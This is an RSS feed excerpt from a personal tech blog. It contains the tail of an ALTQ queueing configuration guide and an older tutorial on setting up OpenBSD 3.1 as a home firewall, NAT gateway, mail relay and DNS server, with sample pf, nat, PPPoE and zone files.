altqstat: fifoq on interface ep1<br />
 q_len:0 q_limit:50 period:2<br />
 xmit:2 pkts (108 bytes) drop:0 pkts (0 bytes)<br />
 throughput: 0.17Kbps<br />
 q_len:0 q_limit:50 period:2<br />
 xmit:2 pkts (108 bytes) drop:0 pkts (0 bytes)<br />
 throughput: 0bps<br />
&#8230;</p>
<p>Random Early Detection (RED):<br />
Since RED is part of ALTQ, no kernel option is required.</p>
<p>To enable random early detection on interface ep1, add the following line to your altq.conf(5) and start altqd.</p>
<p>interface ep1 bandwidth 10M red</p>
<p>Run altqstat and you should see something similar:<br />
% altqstat<br />
altqstat: red on interface ep1<br />
 weight:512 inv_pmax:10 qthresh:(5,15)<br />
 q_len:0 (avg: 0.00), q_limit:60<br />
 xmit:1 pkts, drop:0 pkts (forced: 0, early: 0)<br />
 throughput: 0.09Kbps</p>
<p> weight:512 inv_pmax:10 qthresh:(5,15)<br />
 q_len:0 (avg: 0.00), q_limit:60<br />
 xmit:1 pkts, drop:0 pkts (forced: 0, early: 0)<br />
 throughput: 0bps<br />
&#8230;</p>
<p>Diffserfv traffic conditioner (CDNR):<br />
>From man options(4):</p>
<p>Traffic conditioners are components to meter, mark, or drop incoming packets according to some rules. As opposed to queueing disciplines, traffic conditioners handle incoming packets at an input interface.</p>
<p>To use conditioner to drop incoming packets from a particular IP address, add the following to kernel file.</p>
<p>option          ALTQ_CDNR</p>
<p>To enable conditioner on interface ep1, add the following line to your altq.conf(5) and start altqd.<br />
#<br />
interface ep1<br />
#<br />
# Drop all packets coming in from 255.255.255.255 (ficticious)<br />
#<br />
conditioner ep1 dropper <drop><br />
     filter ep1 dropper 0 0 255.255.255.255 0 0</p>
<p>Run altqstat to monitor the drop packets:<br />
% altqstat<br />
altqstat: cdnr on interface _fxp0<br />
actions:<br />
  pass:471 drop:3 mark:0 next:0 return:0 none:0</p>
<p>actions:<br />
  pass:501 drop:3 mark:0 next:0 return:0 none:0<br />
&#8230;</p>
<p>Priority Queueing (PRIQ):<br />
>From man options(4):</p>
<p>PRIQ implements a simple priority-based queueing. A higher priority class is always served first.</p>
<p>High number has higher priority. Maximum value is 15 and minimum value is 0. Default is 0. A higher priority class is always served first in PRIQ. Priority must be unique for the interface.</p>
<p>To use priority queueing to prioritize based on type of packet, add the following to kernel file.</p>
<p>option          ALTQ_PRIQ</p>
<p>To enable priority queueing on interface ep1, add the following line to your altq.conf(5) and start altqd.<br />
#<br />
# Prioritize based on protocol:<br />
#<br />
# tcp: high priority<br />
# udp:  medium priority<br />
# icmp: low priority<br />
# others: bottom priority<br />
#<br />
interface ep1 bandwidth 10M priq<br />
#<br />
class priq ep1 highest_class NULL priority 3<br />
     filter ep1 highest_class 0 0 0 0 6<br />
class priq ep1 medium_class NULL priority 2<br />
     filter ep1 medium_class 0 0 0 0 17<br />
class priq ep1 lowest_class NULL priority 1<br />
     filter ep1 lowest_class 0 0 0 0 1<br />
class priq ep1 bottom_class NULL priority 0 default</p>
<p>% altqstat<br />
altqstat: priq on interface ep1</p>
<p>ep1:<br />
[highest_class] handle:0xe09fd0c0 pri:3<br />
  measured: 0.34Kbps qlen: 0 period:180<br />
     packets:180 (25637 bytes) drops:0<br />
[medium_class] handle:0xe09f1d40 pri:2<br />
  measured: 0bps qlen: 0 period:25<br />
     packets:25 (1997 bytes) drops:0<br />
[lowest_class] handle:0xe09fdcc0 pri:1<br />
  measured: 0bps qlen: 0 period:19<br />
     packets:19 (1862 bytes) drops:0<br />
[bottom_class] handle:0xe09a4680 pri:0<br />
  measured: 0bps qlen: 0 period:0<br />
     packets:0 (0 bytes) drops:0<br />
&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/851.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introduction to OpenBSD  Firewall/Gateway  Unix Workstation</title>
		<link>http://www.evanjiang.net.cn/archives/849.html</link>
		<comments>http://www.evanjiang.net.cn/archives/849.html#comments</comments>
		<pubDate>Mon, 23 Mar 2009 14:34:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[cvs]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[openbsd unix]]></category>
		<category><![CDATA[pf]]></category>
		<category><![CDATA[samba]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[Introduction to OpenBSD  Firewall/Gateway  Unix Workstation]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=849</guid>
		<description><![CDATA[<p>Abstract
This is a quick tutorial on how to set up an OpenBSD 3.1 system. The first part covers setting up a firewall, NAT proxy, time and DHCP server on a system connected to the Internet via broadband like DSL or cable. The second part covers things that would be installed on a desktop machine: graphical [...]]]></description>
			<content:encoded><![CDATA[<p>Abstract<br />
This is a quick tutorial on how to set up an OpenBSD 3.1 system. The first part covers setting up a firewall, NAT proxy, time and DHCP server on a system connected to the Internet via broadband like DSL or cable. The second part covers things that would be installed on a desktop machine: graphical window managers etc. </p>
<p>The reader is not expected to be a Unix expert (why would a Unix expert need this how-to?) &#8212; if you don&#8217;t understand something, or something looks intimidating, read on and come back to it. If something still doesn&#8217;t make sense, let me know. </p>
<p>I don&#8217;t cover what I consider &#8220;advanced&#8221; usage such as tracking -CURRENT or CVS snapshots. If you want to do that, I assume you know which FAQs to read! </p>
<p>This document may be freely reproduced and redistributed under the terms of the GNU Free Documentation License Version 1.1; with the invariant section being this entire document, with no Front-Cover Texts and no Back-Cover Texts. </p>
<p>In other words, if you want to copy this document in its entirety, feel free to do so; if you wish to modify it (as in providing a translation, or taking sections to include in other documents) please send me email. Needless to say, documents that this document links to will have their own copyrights. </p>
<p>New!<br />
I have a shell script that sets up everything mentioned here. This is still experimental but if you try it, please let me know how it goes. Save this file to disk and run it by typing &#8220;sh config31-fw.sh&#8221;. (Doesn&#8217;t handle PPPoE [the beast].) </p>
<p>There is a new section called Tips and Stuff where I put things I&#8217;ve found or written that are useful sysadmin tools. </p>
<p>Introduction<br />
Why OpenBSD? It&#8217;s simple and secure. Your firewall machine should not have lots of things installed on it; therefore no exotic hardware, graphical desktops, X11 servers etc. &#8212; put those on your desktop machine. A simpler system is more robust and more secure; this machine only offers SMTP (email), ssh, ping/traceroute and optionally HTTP (web) to the outside world. And since it&#8217;s running Unix, you can log in to it &#8212; securely &#8212; using ssh from anywhere on the Internet and make any changes you need to. (N.B.: never use telnet to connect to a machine over the Internet! Anyone can eavesdrop and grab important information like passwords. Only use ssh, which encrypts all communication so that eavesdroppers don&#8217;t get any information. And verify those key fingerprints or you leave yourself open to a man-in-the-middle attack. For information do a web search for public key cryptosystems; a good place to start is OpenSSH.) </p>
<p>The utility and security of having this kind of machine: a firewall protects your data and systems from the Big, Bad Internet. When the bad guys are out to vandalise machines on the Internet, MS-Windows machines of various kinds are prime targets because they suck. Er, I mean, Windows is really hard to secure. (Not that an incompetently run Unix machine is any better, of course.) When you dialled in on the phone, your machine was on the &#8216;net for brief periods; with DSL or cable it&#8217;s vulnerable all the time. </p>
<p>This document also describes how to set up an OpenBSD system as a Unix workstation. We will go over setting up X11 (the window system) etc. I assume that you will be using a different machine as your workstation. Important: Unix systems can be set up in various ways; I do things a certain way and that&#8217;s what this document will cover. Other people (wizards and newbies alike) may do things differently. In case it matters, I&#8217;ve been using Unix since 1982, have been a sysadmin on-and-off since 1986 (VAX/BSD, SunOS 4.x, Solaris 2.x, HP/UX, AT&#038;T 3B5 SVR6 etc.) I&#8217;ve been a C programmer since the early 80s. Today I design and implement back-end network servers on Solaris. </p>
<p>This tutorial assumes that you have some familiarity with using Unix: what filenames look like, how to copy and edit files etc. There&#8217;s a decent Unix tutorial on the web. The most important command to remember is man (short for &#8220;manual&#8221;) &#8212; if I say something like &#8220;read the documentation for foobar it means you should type man foobar. One other piece of Unix argot: if you hear someone write select(2) it indicates that the manual for select is in section 2, i.e. you would read the manpage by typing man 2 select. You should also read the OpenBSD documentation: particularly the OpenBSD FAQ. Bookmark that link right now.<br />
<span id="more-849"></span><br />
NAT (Network Address Translation) allows you to connect lots of PCs up to one network connection. When any of the machines inside the firewall wants to make a connection to some server out there on the internet, the firewall/NAT box intercepts that request, and sends the request off as though it came from the firewall/NAT machine. When the reply arrives, it is sent off to the machine that made the connection. Neither the server nor the machines on the inside know that all this is going on. </p>
<p>Aside: NAT is also called PAT, for &#8220;Port Address Translation.&#8221; Also, read this interesting article by HRH Prince Philip, Duke of Edinburgh, on setting up PAT and DHCP on Cisco routers. The whole routergod.com site features many celebrities offering helpful tips on various network issues. </p>
<p>Even if you don&#8217;t want plan on having more than one PC at home, NAT is useful, because it allows the machine running your firewall to be different from your main workstation. You probably want to install fancy hardware and software on your machine; but every additional package installed on a firewall makes it more vulnerable. </p>
<p>Network Address Translation (NAT)</p>
<p>Note: if you only have one machine on the &#8220;inside&#8221;, you don&#8217;t need an ethernet hub; use a crossover cable to connect the two machines directly. This also has the advantage that you can get a full-duplex connection between the machines (a hub only allows a half-duplex connection). </p>
<p>Note: you can buy little NAT/DHCP boxes from various manufacturers for about $150, but where&#8217;s the fun in that? Besides, who knows how strong the security is on those things. With OpenBSD you know you&#8217;re getting the best. </p>
<p>Building the machine<br />
The machine itself: I prefer to build these machines up from individual components rather than buying a pre-made box. That way I can get name-brand supported components, and it works out slightly cheaper since I don&#8217;t have to get exotic video cards, sound cards, CD-ROM drives etc. (Not to mention a Fisher-Price operating system that you will be required to pay for.) </p>
<p>Can you build a PC? Well, no one showed me how, but I&#8217;ve managed to put together about 10 or so systems, so it can&#8217;t be that hard. If you&#8217;ve assembed anything with screwdrivers etc. you&#8217;ll be fine. There are numerous sites on the web that walk you through building a PC. Go do a Google search and read those. I especially like the one at Acme Labs by Jef Poskanzer. There&#8217;s also an excellent motherboard finder at Acme. </p>
<p>Caveat: specific recommendations will be outdated as soon as I write them! I like to use AMD CPUs because I believe Intel is evil and as far as possible I&#8217;d like to not buy their products. I&#8217;d get the current not-top-of-the-line CPU i.e. the one that costs about $50 and a compatible motherboard that costs in the range of $70. I stay away from integrated components because they&#8217;re usually garbage. (For a server that I don&#8217;t use directly I might get integrated video.) Spend about $30-50 on RAM, $30 on ethernet, $60 on an IDE disk, $30 for a case (with power supply). I usually find the best prices on components at Directron and CompuVest (warning: uses Java). These have both been non-sleazy (everything was as described in their catalog and shipping was prompt) in all my dealings with them &#8212; but let me know if you find any evidence of sleaziness. </p>
<p>All these components add up to around $300 &#8212; and that&#8217;s brand-new stuff. If you have any old components lying around, they will be fine. You don&#8217;t need a keyboard, mouse or monitor when the system is up and running &#8212; all maintenance on it can be done over the network. (While you&#8217;re installing the OS on the machine you will need to hook up a keyboard, monitor and CD-ROM drive to it, of course.) </p>
<p>While installing the system, I plug in a spare CD-ROM drive, keyboard and monitor. Change the BIOS settings so that the machine will boot without a keyboard etc. Boot off the OpenBSD 3.1 CD and install the system. All the hardware should be recognised without any problems. (The installation guide booklet that comes with the CDs is excellent.) </p>
<p>The easiest way to install OpenBSD is to buy the distribution on CDs. Although you can install it via the network, buying the CD will help make sure that the OpenBSD project will continue to improve and better the system. If you can afford an outlay of US$40, please buy the CDs from the OpenBSD ordering site. </p>
<p>When you&#8217;re installing OpenBSD, the installer program will ask you for disklabel information (partitions). On a Unix system, a group of files organised together is called a filesystem. The disk is partitioned into various pieces each of which will hold one filesystem. This is the filesystem breakup and partition sizes I&#8217;d use for a 12GB disk (if your disk is bigger, you can just increase the size of /var (for web files) or /home (for your personal files) &#8212; the system will be more than happy with these sizes for /, /tmp and /usr):</p>
<p>/dev/wd0a      100M     /<br />
/dev/wd0d      400M     /tmp<br />
/dev/wd0e      4GB      /var<br />
/dev/wd0g      2GB      /usr<br />
/dev/wd0h      5GB      /home<br />
(The convention is that a is always /, b is swap and c is the whole disk.) Your web files will live in /var, and your other files in /home. </p>
<p>This is all overkill; /usr only needs about 600M or so. Say pad it to 1GB. A 2GB disk would be plenty for the system, but if the cheapest disk you can get is 13GB&#8230;. </p>
<p>Note for Unix newcomers: the disk is named /dev/wd0, and in this case it has 5 partitions with names /dev/wd0a, /dev/wd0d, /dev/wd0e, /dev/wd0g and /dev/wd0h. And the different partitions don&#8217;t get different &#8220;drive letters&#8221; as in some primitive operating systems; once the system is installed, it looks to the user that there is just one bunch of files; Unix will figure out the right thing to do. After the system has been installed and you&#8217;ve booted off the hard disk, log in and (this is important!) type man afterboot; it will remind of some things that you need to do to complete the installation &#8212; pick passwords, create user accounts, check network settings etc. Also, man hier will introduce you to the way the system is organised &#8212; which files live where. In fact, let me say that again: </p>
<p>After the first normal boot of the system, be sure to read these manpages:<br />
$  man afterboot<br />
$  man hier<br />
Also run dmesg(8) to learn more about your hardware and the driver names that OpenBSD uses for them. </p>
<p>Which packages to install? A good starting point would be to accept the defaults. For a desktop system (workstation), you will want all the X11 packages also. I install everything. </p>
<p>There! And make sure you keep reading the manpages &#8212; OpenBSD manpages are a thing of beauty, complete, up-to-date and informative. And also read the OpenBSD FAQ on the web &#8212; much of this information is also found there. </p>
<p>Configuring the network<br />
For my outside connection I have DSL and a static IP number (from Speakeasy &#8212; I recommend them over PacBell etc. &#8212; I&#8217;m so happy I switched). Other DSL options are PPPoE that PacBell likes to set people up with, or DHCP which is what you usually get over cable. A completely bogus DSL installation is the USB device they try to foist on customers with Windows. Danger, Will Robinson! They stink; they&#8217;re unsupported on any free O/S, and even on Windows they work about half the time. </p>
<p>In *BSD the network cards are named according to the driver used. For the Lite-On (DEC Tulip) cards, the driver is called dc, and the Intel EtherExpress Pro is fxp; so my two ethernet cards are dc0 and fxp0. (If you had two cards that both used the dc driver, they would be dc0 and dc1.) For the inside network I use the &#8220;private&#8221; (non-routable) IP numbers 192.168.1.* which will make the inward-facing network card 192.168.1.1. The OpenBSD initialization asks you for IP numbers for the two cards. Enter the appropriate ones &#8211; the IP number your ISP gave you for dc0, and 192.168.1.1 for fxp0. For PPPoE, the outside interface is tun0 and it will figure out its own IP address. If you&#8217;re supposed use DHCP on your DSL or cable connection, type in dhcp. </p>
<p>It is important to remember which network will be the outside and which the inside. If the two cards are identical, the easiest way is to look at the MAC number. Every ethernet card ever made has a unique ID called its MAC number. This will be printed on the card, usually as a sticker. When the kernel boots up, it will print the MAC numbers of each card it finds:</p>
<p>fxp0 at pci0 dev 9 function 0 &#8220;Intel 82557&#8243; rev 0x0c: irq 11, address 00:02:b3:a0:3a:50<br />
dc0 at pci0 dev 10 function 0 &#8220;Lite-On PNIC&#8221; rev 0&#215;20: irq 10 address 00:a0:cc:55:ab:1c<br />
So the card that has a MAC number ending ab1c is dc0; the other is fxp0. (If the two network cards you have are different types, as in this case, there&#8217;s no problem, of course. The kernel bootup messages is still be useful to tell you what names the system is using for them.) </p>
<p>(There&#8217;s some rule about where the cards are plugged in so which one gets number 0 and which no. 1, but I can never remember that.) </p>
<p>PPPoE<br />
The beast! PPPoE is a pain in the ass but ISPs like it because it makes things simpler for them &#8212; they don&#8217;t have to maintain lists of IP numbers. Also, they can run a crappy service and keep dropping the connection and that&#8217;s ok, you&#8217;re expected to reconnect. It&#8217;s the Micros**t philosophy of &#8220;make something really crappy and expect people to just re-start the whole system a couple of times a day.&#8221; It&#8217;s a pain in the ass for us because its MTU is 1492 instead of 1500 which used to require changes on every machine inside the network &#8212; but now thanks to the &#8220;mssfixup&#8221; flag we don&#8217;t have to any more. </p>
<p>The files you will need to change for PPPoE all live in /etc/ppp/. </p>
<p>Configure system files<br />
To set up the system, the files you will be editing are:/etc/rc.conf, /etc/myname, /etc/mygate, /etc/pf.conf, /etc/nat.conf, /etc/*.conf, /etc/hostname.interface, /var/named/*. </p>
<p>Edit /etc/rc.conf. On my servers I run SMTP, Apache, and ssh. In other words, from the outside it handles email, web acess and secure shell for remote logins. For convenience, on the inside I have a private name server (DNS) and NTP server for accurate time. To get sendmail, NTP, httpd, and NAT to work, these are the lines to change: </p>
<p>sendmail_flags=&#8221;-bd -q30m&#8221;      # for normal use: &#8220;-bd -q30m&#8221;<br />
named_flags=&#8221;"                  # for normal use: &#8220;&#8221;<br />
ntpdate_flags=&#8221;put.server.here&#8221; # for normal use: NTP server; run before ntpd starts<br />
httpd_flags=&#8221;"                  # for normal use: &#8220;&#8221; (or &#8220;-DSSL&#8221; after reading ssl(8))<br />
dhcpd_flags=-q                  # for normal use: &#8220;-q&#8221;<br />
pf=YES                          # Packet filter / NAT<br />
ntpd=YES                        # run ntpd if it exists<br />
pf_rules=/etc/pf.conf           # Packet filter rules file<br />
nat_rules=/etc/nat.conf         # NAT rules file<br />
Make sure that /etc/sysctl.conf has this line in it:</p>
<p>net.inet.ip.forwarding=1        # 1=Permit forwarding (routing) of packets<br />
Get the names of NTP servers close to where you are and put that name in the ntpdate value. Here&#8217;s a list of public NTP servers. </p>
<p>Update ssh<br />
Warning: ssh in OpenBSD 3.1 has a bug!<br />
Upgrading openssh to 3.4 is strongly recommended. See the OpenSSH for OpenBSD page for details. In brief, you will download ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/openssh-3.4.tgz and execute the following steps (as root): </p>
<p># cd /usr/src/usr.bin<br />
# tar xvfz &#8230;/openssh-3.4.tgz<br />
# cd ssh<br />
# make obj<br />
# make cleandir<br />
# make depend<br />
# make<br />
# make install<br />
# cp ssh_config sshd_config /etc/ssh<br />
# mkdir /var/empty<br />
Using vipw(8) you will add this line to your password file: </p>
<p>sshd:*:27:27::0:0:sshd privsep:/var/empty:/sbin/nologin<br />
Then add this line to /etc/group: </p>
<p>sshd:*:27:<br />
NAT and firewall rules<br />
OpenBSD 3.1 has a new packet filter &#8212; 2.9 used ipf but 3.x has a re-written from scratch one called pf. The details are not important; pf config files are much simpler. I decided that my outside interface would be dc0, and the inside one fxp0. (If you&#8217;re using PPPoE, the outside interface will be tun0.) Firewall rules (they tell the gateway what kind of network traffic should be allowed into the internal network) live in /etc/pf.conf; NAT configuration is in /etc/nat.conf. </p>
<p>Here&#8217;s a sample /etc/pf.conf &#8212; very little is accessible from the outside, but machines on the inside can go out with no restrictions. In your files you&#8217;d replace dc0 and fxp0 with the names of your outward- and inward-facing ethernet cards, respectively.</p>
<p>#####################################################################<br />
#<br />
# IP packet filtering rules (firewall)<br />
# Shamim Mohamed 3/2002</p>
<p># See pf.conf(5) for syntax and examples</p>
<p># If you change this file, run<br />
#    pfctl -R /etc/pf.conf<br />
# to update kernel tables (also run &#8220;pfctl -e&#8221; if pf was not running)</p>
<p># Network interfaces<br />
internal = &#8220;fxp0&#8243;<br />
external = &#8220;dc0&#8243;</p>
<p># Services visible from the outside &#8212; remove any you&#8217;re not using<br />
services = &#8220;{ ssh, http, https, smtp }&#8221;</p>
<p># You shouldn&#8217;t need to change anything below this line<br />
#####################################################################</p>
<p># Non-routable IP numbers<br />
nonroutable = &#8220;{ 192.168.0.0/16, 127.0.0.0/8, 172.16.0.0/12, 10.0.0.0/8,<br />
    0.0.0.0/8, 169.254.0.0/16, 192.0.2.0/24, 204.152.64.0/23, 224.0.0.0/3,<br />
    255.255.255.255/32 }&#8221;</p>
<p># All rules are &#8220;quick&#8221; so go strictly top to bottom</p>
<p># Fix fragmented packets<br />
scrub in all</p>
<p># Don&#8217;t bug loopback<br />
#<br />
pass out quick on lo0 from any to any<br />
pass in quick on lo0 from any to any</p>
<p># Don&#8217;t bother the inside interface either<br />
#<br />
pass out quick on $internal from any to any<br />
pass in quick on $internal from any to any</p>
<p>#####################################################################<br />
#<br />
# First, we deal with bogus packets.<br />
#</p>
<p># Block any inherently bad packets coming in from the outside world.<br />
# These include ICMP redirect packets and IP fragments so short the<br />
# filtering rules won&#8217;t be able to examine the whole UDP/TCP header.<br />
#<br />
block in log quick on $external inet proto icmp from any to any icmp-type redir</p>
<p># Block any IP spoofing atempts.  (Packets &#8220;from&#8221; non-routable<br />
# addresses shouldn&#8217;t be coming in from the outside).<br />
#<br />
block in quick on $external from $nonroutable to any</p>
<p># Don&#8217;t allow non-routable packets to leave our network<br />
#<br />
block out quick on $external from any to $nonroutable</p>
<p>#<br />
#####################################################################</p>
<p>#####################################################################<br />
#<br />
# Now the normal filtering rules<br />
#</p>
<p># ICMP: allow incoming ping and traceroute only<br />
#<br />
pass in quick on $external inet proto icmp from any to any icmp-type { \<br />
    echorep, echoreq, timex, unreach }<br />
block in log quick on $external inet proto icmp from any to any</p>
<p># TCP: Allow ssh, smtp, http and https incoming. Only match<br />
# SYN packets, and allow the state table to handle the rest of the<br />
# connection.<br />
#<br />
pass in quick on $external inet proto tcp from any to any port $services flags S/SA keep state</p>
<p># Of course we need to allow packets coming in as replies to our<br />
# connections so we keep state. Strictly speaking, with packets<br />
# coming from our network we don&#8217;t have to only match SYN, but<br />
# what the hell.<br />
#<br />
pass out quick on $external inet proto tcp  from any to any flags S/SA keep state<br />
pass out quick on $external inet proto udp  all keep state<br />
pass out quick on $external inet proto icmp from any to any keep state</p>
<p># End of rules. Block everything to all ports, all protocols and return<br />
# RST (TCP) or ICMP/port-unreachable (UDP).<br />
#<br />
block return-rst in log quick on $external inet proto tcp from any to any<br />
block return-icmp in log quick on $external inet proto udp from any to any<br />
block in quick on $external all</p>
<p>#<br />
# End of file<br />
#<br />
#####################################################################<br />
Read the pf documentation and understand these rules. </p>
<p>This is the NAT config /etc/nat.conf &#8212; this allows machines on the inside network to transparently make connections to the outside world:</p>
<p>#####################################################################<br />
#<br />
# NAT rules<br />
# Shamim Mohamed 3/2002</p>
<p># See nat.conf(5) for syntax and examples</p>
<p># replace dc0 with external interface name, 192.168.1.0/24 with internal<br />
# network (if different)</p>
<p># nat: packets going out through dc0 with source address 192.168.1.0/24 will<br />
# get translated as coming from 12.34.56.78 (or whatever the external IP no.<br />
# is). State is created for such packets, and incoming packets will be<br />
# redirected to the internal address.</p>
<p>nat on dc0 from 192.168.1.0/24 to any -> dc0</p>
<p># End of file<br />
#####################################################################<br />
The system should already have setup /etc/hostname.dc0 and /etc/hostname.fxp0 (or whatever your network device names are) for you. Each file will have the IP number and netmask. This is what these files would look like:</p>
<p>$ cat /etc/hostname.fxp0<br />
inet 192.168.1.1 255.255.255.0 NONE<br />
$ cat /etc/hostname.dc0<br />
inet 123.45.67.89 255.255.255.0 NONE<br />
(The $ is the prompt; cat types a file out to the output.) If you&#8217;re using DHCP, the outside interface&#8217;s hostname file will say dhcp. </p>
<p>Other important files are /etc/myname &#8212; your hostname &#8212; and /etc/mygate &#8212; your default gateway to the outside world (your ISP told you what this should be &#8212; it&#8217;s usually the same as your IP number except that the last number is replaced with a 1 or 254.) </p>
<p>PPPoe<br />
If you have PPPoE (you unfortunate soul!) things are different. You shouldn&#8217;t have /etc/mygate; and the file describing the outside interface, /etc/hostname.dc0 in my example, will only have one word in it: up. This tells the system to bring up the interface at boot time, but to do nothing else &#8212; pppoe will do the rest. </p>
<p>The main file is /etc/ppp/ppp.conf and this is what it should look like:</p>
<p>default:<br />
 set log Phase Chat LCP IPCP CCP tun command<br />
 set redial 15 0<br />
 set reconnect 15 10000</p>
<p>pppoe:<br />
 set device &#8220;!/usr/sbin/pppoe -i dc0&#8243;<br />
 disable acfcomp protocomp<br />
 deny acfcomp<br />
 set mtu 1492<br />
 set speed sync<br />
 enable lqr<br />
 set lqrperiod 5<br />
 set cd 5<br />
 set dial<br />
 set login<br />
 set timeout 0<br />
 set authname login<br />
 set authkey password<br />
 enable dns<br />
 enable mssfixup<br />
Use your login name and password where indicated. The &#8220;set device&#8221; line tells ppp which physical device to use to talk to the outside world. You also have to tell the system to start PPPoE at boot time. That can be done with this little snippet of shell script: </p>
<p>echo -n &#8220;Trying to establish PPPoE DSL&#8221;; ppp -ddial pppoe<br />
for i in 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0; do<br />
    sleep 5<br />
    echo -n.$i&#8221;<br />
    if /usr/local/sbin/adsl-status>/dev/null; then<br />
        break<br />
    fi<br />
done<br />
echo<br />
/usr/local/sbin/adsl-status<br />
Where adsl-status is a little shell-script that tests to see whether the PPP link has come up properly: </p>
<p>#!/bin/sh</p>
<p>IP=$(/sbin/ifconfig tun0 | awk &#8216;/netmask/{print $2}&#8217;)</p>
<p>if [ -z "$IP" ]; then<br />
   echo &#8220;ADSL link is down.&#8221;<br />
   exit 1<br />
else<br />
   echo &#8220;ADSL is up, IP address $IP&#8221;<br />
   exit 0<br />
fi<br />
Now the question is: where should we put the little loop that tries to get ppp going? The right place to put all these is in /etc/rc.local. However this has the drawback that the outside network hasn&#8217;t been initialised while the rest of the system is coming up, which causes some scary-looking error messages from NAT to be printed at boot time. So I do something a little un-kosher: I put the ppp initialisation in /etc/netstart right at the end: </p>
<p>&#8230;<br />
echo -n &#8216; ADSL&#8230; &#8216;; ; ppp -ddial pppoe<br />
for i in 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0; do<br />
    sleep 5<br />
    echo -n.$i&#8221;<br />
    if /usr/local/sbin/adsl-status>/dev/null; then<br />
        break<br />
    fi<br />
done<br />
echo<br />
/usr/local/sbin/adsl-status<br />
Now remember that each time the PPP link goes up or down, the IPF and NAT rules must be re-done. The files /etc/ppp/ppp.linkup and /etc/ppp/linkdown are scripts that get run by ppp. Here&#8217;s /etc/ppp/ppp.linkup: </p>
<p>MYADDR:<br />
 ! sh -c &#8220;/sbin/route del default&#8221;<br />
 ! sh -c &#8220;/sbin/route add default HISADDR -mtu 1492&#8243;<br />
 ! sh -c &#8220;/sbin/pfctl -F all -R /etc/pf.conf -N /etc/nat.conf -e&#8221;<br />
 ! sh -c &#8220;/usr/local/sbin/ntpd -p /var/run/ntpd.pid&#8221;<br />
And this is /etc/ppp/linkdown: </p>
<p>MYADDR:<br />
 ! sh -c &#8220;/sbin/pfctl -F all -d&#8221;<br />
Configuring email<br />
Sendmail should have been setup automatically since you edited /etc/rc.conf but I&#8217;ve occasionally had to make one change in /etc/mail/sendmail.cf: </p>
<p>Djmy-domain-name.com<br />
(If you don&#8217;t own a domain, or plan on having it point to your DSL machine, you don&#8217;t need sendmail.) </p>
<p>You should have a normal user account that you&#8217;re going to use (never log in as root! Always use su or sudo). Administrative email should be forwarded to you; if your normal username is zippy edit /etc/mail/aliases and make sure you make the appropriate lines look like this:</p>
<p># Well-known aliases &#8212; these should be filled in!<br />
root: zippy<br />
manager: zippy<br />
dumper: zippy<br />
One thing you should consider is being an email handler for friends. My DSL service goes down too often &#8212; every few months. This is too unreliable for my tastes. What I do is collaborate with friends to accept and queue email for them, and they do the same for me. Example: for my domain foo.com the primary mail exchanger is gateway.foo.com, the OpenBSD firewall/gateway. A friend of mine has bar.com, and his email gateway is gateway.bar.com. I set up a secondary mail exchanger in my domain records as gateway.bar.com. If my DSL line gateway.foo.com goes down and someone out there wants to send email to me at foo.com, her machine will use gateway.bar.com instead and email will wait on that machine until my machine is back on the network. I want to perform the same service for my friend &#8212; if gateway.bar.com is down, I want people to be able to send my machine the email destined for bar.com and fubar.org (another friend&#8217;s domain). This goes in the file /etc/mail/relay-domains on my gateway box: </p>
<p>bar.com<br />
fubar.org<br />
Now the machine will accept email for my friends&#8217; domains bar.com and fubar.org as well as for itself and forward their messages on. If the machine it&#8217;s trying to forward to is down, it will put them in the queue and keep re-trying for a while. (My friend at bar.com does similar things to his /etc/mail/relay-domains.) </p>
<p>Setting up DNS<br />
You probably shouldn&#8217;t be running the primary DNS server for your domain on your DSL box; DSL may not be reliable enough for that. Get someone else to do it for you for free, like http://www.zoneedit.com/. </p>
<p>However, it is nice to have a local private DNS because lots of daemons (services that run in the background, like the web server) like to do reverse lookups of IP numbers, so we should have a DNS server for the private network. Also, this installation will give you a caching nameserver which should improve your browsing speed. </p>
<p>The files live in /var/named. Assuming your domain is called fake-domain.org, edit named.boot and add these lines:</p>
<p>primary fake-domain.org                 fake-domain.db<br />
primary 1.168.192.in-addr.arpa          fake-domain.rev</p>
<p>; your static IP number, reversed<br />
primary 89.67.45.123.in-addr.arpa      dsl.rev</p>
<p>; remember to add your ISP&#8217;s nameservers here!<br />
forwarders			1.2.3.4 5.4.3.2<br />
(Anything starting with a semicolon is a comment.) Here fakedomain.org can be a real domain you have or a fake; and instead of 89.67.45.123 use your static IP but reversed i.e. you would use that line if your IP number were 123.45.67.89. And change the IP numbers on the forwarders line to the nameservers your ISP told you to use. </p>
<p>There are three files you need to create. The first is /var/named/namedb/fake-domain.db:</p>
<p>@       IN      SOA     gateway.fake-domain.org.     root.fake-domain.org.<br />
(<br />
                                14      ; Serial<br />
                                10800   ; Refresh<br />
                                3600    ; Retry<br />
                                604800  ; Expire<br />
                                86400 ) ; Minimum</p>
<p>        IN      NS      gateway.fake-domain.org.</p>
<p>gateway IN      A       192.168.1.1<br />
libelle IN      A       192.168.1.2<br />
discus  IN      A       192.168.1.4<br />
ventus  IN      A       192.168.1.3<br />
wander  IN      A       192.168.1.5<br />
brad    IN      A       192.168.1.12<br />
jack    IN      A       192.168.1.13</p>
<p>; your static IP number<br />
dsl     IN      A       123.45.67.89</p>
<p>www     IN      CNAME   dsl<br />
mail    IN      CNAME   dsl<br />
In this network, there are six machines on the inside and those are their names and IP Number assignments. The OpenBSD gateway machine is named &#8220;gateway&#8221;. Change these entries to names of the machines on your private network. You can give them any IP number that starts with 192.168.1. Of course if you have three machines on your network, there will only by three entries.) </p>
<p>This is the second file you need to create, /var/named/fake-domain.rev:</p>
<p>@       IN      SOA     gateway.fake-domain.org.     root.fake-domain.org.<br />
(<br />
                                14      ; Serial<br />
                                10800   ; Refresh<br />
                                3600    ; Retry<br />
                                604800  ; Expire<br />
                                86400 ) ; Minimum</p>
<p>        IN      NS      gateway.fake-domain.org.</p>
